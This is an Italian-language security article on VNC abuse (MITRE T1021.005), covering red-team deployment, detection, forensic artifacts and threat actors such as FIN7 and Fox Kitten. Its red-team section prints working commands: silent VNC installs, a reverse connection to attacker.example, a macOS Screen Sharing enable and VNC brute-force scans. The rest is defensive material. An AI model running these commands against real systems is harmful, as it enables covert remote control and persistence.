Controllo Remoto via VNC: Virtual Network Computing (T1021.005)

In un ingaggio red team, l'abuso di VNC parte quasi sempre da credenziali valide raccolte in fasi precedenti (dump LSASS, phishing, riuso password). Lo scopo è ottenere una sessione grafica interattiva che eluda molti controlli focalizzati su shell e PowerShell.

Su Windows lo scenario tipico prevede il deployment silenzioso di TightVNC (open source) o UltraVNC (open source), gli stessi tool documentati per FIN7 e Gamaredon. L'installazione unattended si esegue con MSI:

msiexec /i tightvnc-2.8.x-setup-64bit.msi /quiet ADDLOCAL="Server" SET_USEVNCAUTHENTICATION=1 VALUE_OF_USEVNCAUTHENTICATION=1 SET_PASSWORD=1 VALUE_OF_PASSWORD=P@ssw0rd

Un approccio più stealth prevede l'uso della modalità portable senza installazione, avviando winvnc.exe -run da una directory scrivibile come %APPDATA%. Per bypassare firewall perimetrali è comune sfruttare la reverse connection VNC (porta 5500 lato attaccante in listening mode), che ribalta il flusso e simula traffico in uscita:

winvnc.exe -connect attacker.example:5500

Su Linux il tool di riferimento è x11vnc (open source), che espone una sessione X esistente senza creare display virtuali:

x11vnc -display :0 -auth /run/user/1000/gdm/Xauthority -rfbauth ~/.vnc/passwd -forever -shared

Per environment headless o pivoting server-side, TigerVNC (open source) permette di istanziare display virtuali via vncserver :1 -localhost no. Su macOS, il servizio nativo Screen Sharing si abilita programmaticamente con sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -activate -configure -access -on -clientopts -setvnclegacy -vnclegacy yes -setvncpw -vncpw P@ss -restart -agent.

Per simulare il comportamento di Fox Kitten, che installava TightVNC su endpoint compromessi come backdoor persistente, si combina l'installazione MSI con la creazione di un servizio dedicato e regole firewall locali che aprono solo la 5900 verso IP fidati. In laboratorio è utile testare anche il relay attraverso Chisel (open source) o ligolo-ng (open source) per tunnellare la 5900 attraverso HTTP/S quando la rete blocca il protocollo RFB in chiaro.

Per la fase di ricognizione preventiva, Nmap (open source) con lo script nmap -p5900-5910 --script vnc-info,vnc-brute,realvnc-auth-bypass identifica server esposti e versioni vulnerabili. Metasploit Framework (open source) include moduli come auxiliary/scanner/vnc/vnc_login per brute force autenticato, utili in scenari lab controllati.

La detection di VNC malevolo richiede correlazione tra process creation, logon events e flussi di rete, perché il tool in sé è spesso legittimo. Il modello analitico MITRE AN0504 per Windows suggerisce di correlare l'avvio di eseguibili VNC noti (winvnc.exe, vncserver.exe, tvnserver.exe, uvnc_service.exe) con creazione di sessione utente entro una finestra temporale definita.

Le log source principali sono Sysmon (open source) e Windows Security Event Log. Su Sysmon l'EventID 1 cattura la process creation con hash e command line, mentre l'EventID 3 traccia le connessioni di rete verso o dalla porta 5900. Combinato con EventID 4624 (successful logon) di tipo 10 (RemoteInteractive) o tipo 2 (Interactive) originato da sessione VNC, si costruisce un alert ad alta confidenza. Un ulteriore indicatore è l'EventID 7045 per l'installazione di nuovi servizi con nomi tipo tvnserver o uvnc_service.

Su Linux, il modello AN0505 raccomanda di monitorare via auditd l'esecuzione di x11vnc, vncserver, Xvnc attraverso regole EXECVE, correlate con ss -tlnp o log di Zeek (open source) che mostrino un socket in listening sulla 5900. Un pattern sospetto è un binario VNC lanciato da un account di servizio o da una shell interattiva non abituale. Su macOS, il modello AN0506 punta ai Unified Logs con predicati sul subsystem com.apple.screensharing e sul processo screensharingd, correlati con attività input utente immediatamente successiva.

A livello di rete, il traffico RFB su TCP 5900 (server), 5800 (Java viewer) e 5500 (listening mode reverse) è filtrabile con firewall e ispezionabile con Suricata (open source) o Zeek. La signature RFB inizia con la stringa RFB 003.008 nel banner iniziale, facilmente identificabile anche su porte non standard.

I falsi positivi più comuni provengono da tool IT autorizzati (help desk, MSP) che usano UltraVNC o TightVNC per supporto remoto. La strategia di tuning prevede una allowlist di host origine e di orari operativi tipici del servizio IT, con escalation solo per connessioni VNC verso workstation non gestite o in orario notturno. Un secondo layer riguarda il monitoraggio di install events attraverso EventID 4688 con parent process anomalo (es. outlook.exe o winword.exe che spawnano msiexec per un pacchetto VNC), pattern altamente indicativo di consegna via phishing come nelle catene di TrickBot e Latrodectus.

Infine, l'inventario continuo con osquery (open source) o Wazuh (open source) permette di individuare installazioni non autorizzate, allineandosi alla mitigazione M1047 (Audit).

L'analisi forense di un incidente T1021.005 ricostruisce tre elementi: installazione del server VNC, sessioni autenticate e azioni svolte durante la sessione grafica. Su Windows i primi artefatti da raccogliere sono le chiavi di registro del prodotto installato. TightVNC crea HKLM\SOFTWARE\TightVNC\Server contenente parametri come Password, ControlPassword, RfbPort e AcceptRfbConnections. UltraVNC lascia traccia in HKLM\SOFTWARE\ORL\WinVNC3 e nel file di configurazione ultravnc.ini nella directory di installazione. La presenza di password hashate con l'algoritmo debole VNC (DES a 8 byte) è indicatore diretto di configurazione manuale.

L'evidenza dell'esecuzione si ricostruisce dagli artefatti standard: Prefetch (C:\Windows\Prefetch\WINVNC.pf*, TVNSERVER.pf*), Amcache.hve con hash SHA-1 dell'eseguibile e timestamp di prima esecuzione, ShimCache (AppCompatCache) e UserAssist se il binario è stato lanciato da GUI. Il servizio installato lascia traccia in SYSTEM\CurrentControlSet\Services\tvnserver con il path del binario e l'account di servizio. Il Windows Event Log System.evtx con EventID 7045 documenta il momento di installazione del servizio, mentre Security.evtx con EventID 4624/4625 e EventID 4648 traccia le autenticazioni correlate.

Sul fronte rete, i log firewall e i NetFlow verso la porta 5900 permettono di ricostruire la durata delle sessioni e gli IP sorgente. Se disponibile una cattura PCAP, il traffico RFB non cifrato (default in TightVNC e UltraVNC senza plugin) espone il framebuffer e permette in teoria di ricostruire visivamente le azioni dell'attaccante con tool come Chaosreader (open source) o script Python su libreria vncdotool.

Su Linux gli artefatti chiave sono ~/.vnc/passwd (password offuscata), ~/.vnc/xstartup (script di avvio sessione), i log ~/.vnc/:.log con timestamp di connessione e IP client, e le entry in auth.log o journalctl per l'attivazione del servizio. La presenza di Xvnc o x11vnc nei process tree storici recuperabili da sysdig o auditd completa la timeline. Su macOS le connessioni Screen Sharing sono loggate nei Unified Logs con predicato subsystem == "com.apple.screensharing" e negli ASL legacy.

Per le campagne documentate, Fox Kitten ha installato TightVNC come persistenza post-exploitation su server esposti, quindi cercare directory C:\Program Files\TightVNC con timestamp coerenti con l'intrusione e servizi tvnserver non giustificati dal baseline IT. TrickBot e Latrodectus integrano moduli VNC caricati in memoria: in questi casi l'analisi con Volatility 3 (open source) su dump di RAM, cercando handle su named pipe e sezioni memory-mapped tipiche del modulo vncDll, è la via principale, dato che l'eseguibile server può non toccare mai il disco.

L'adozione di VNC per movimento laterale attraversa profili di threat actor molto eterogenei, dal cybercrime finanziariamente motivato allo state-sponsored espionage, indicando che lo strumento è apprezzato per la sua plausibile deniability (è software legittimo) e per l'accesso grafico completo.

FIN7 (G0046) è forse l'utilizzatore più noto in ambito criminale: il gruppo, focalizzato sul furto di dati di pagamento e più recentemente su ransomware-as-a-service, ha impiegato TightVNC per controllare host compromessi in reti retail e hospitality. L'uso di VNC si integra nella loro TTP di lungo hands-on-keyboard su terminali POS, dove la sessione grafica permette navigazione manuale evitando trigger EDR su comandi PowerShell.

Gamaredon Group (G0047), attribuito a operazioni contro entità ucraine e allineato a interessi russi, ha adottato UltraVNC come componente del proprio toolkit modulare. Il gruppo opera con volumi elevati e finalità di intelligence collection, e VNC serve tipicamente nella fase post-accesso per operatori umani che validano il target e prelevano documenti.

Fox Kitten (G0117), cluster attribuito a interessi iraniani con focus su settori IT, difesa, sanità ed energia, ha installato TightVNC sia server sia client su asset compromessi. La caratteristica distintiva è l'uso di VNC come backdoor persistente su server esposti raggiunti tramite exploit di VPN appliance (Pulse Secure, Fortinet), configurando la porta 5900 per accesso continuativo. Questo pattern lo rende un IOC di rete di primo piano quando si indagano intrusioni con initial access via vulnerabilità perimetrali.

GCMAN (G0036) rappresenta il profilo più discreto: attivo contro istituzioni finanziarie, ha usato VNC per lateral movement all'interno di reti bancarie, sfruttando strumenti legittimi per fondersi con l'attività IT.

Sul fronte malware, l'integrazione nativa di moduli VNC in TrickBot (S0266), Latrodectus (S1160) — successore ecosistemico di TrickBot/IcedID che instrada C2 attraverso Keyhole VNC —, Carberp (S0484), ZxShell (S0412), WarzoneRAT (S0670), Proton (S0279) e DanBot (S1014) mostra un trend chiaro: le famiglie moderne tendono a caricare VNC in memoria come plugin anziché installare software su disco, eludendo controlli AV e inventari software. DanBot, associato a operazioni contro settori telco e government in Medio Oriente, e Proton, con targeting macOS, dimostrano che la superficie VNC è cross-platform.

Il pattern predittivo per i prossimi cicli è la crescita di loader modulari che integrano VNC hidden (hVNC), invisibili all'utente perché operano su un desktop virtuale parallelo, tecnica già osservata in TrickBot e ripresa da Latrodectus. La priorità di intelligence è mappare gli IP client ricorrenti nelle campagne pubbliche e correlare le installazioni VNC nel proprio parco endpoint con l'inventario IT autorizzato.

MITRE ATT&CK T1021.005 (Remote Services: VNC), tattica TA0008. Gruppi: G0036, G0046, G0047, G0117. Software: S0266, S0279, S0412, S0484, S0670, S1014, S1160. Mitigazioni: M1033, M1037, M1042, M1047. Detection: DET0178 (AN0504-AN0506). MITRE D3FEND per digital artifacts e counter-techniques. Integrazione con conoscenza professionale per sintassi comandi (TightVNC, UltraVNC, x11vnc, TigerVNC), tool di detection (Sysmon, Zeek, Suricata, osquery, Wazuh) e analisi forense (Volatility 3, Chaosreader), tutti verificabili su repository ufficiali.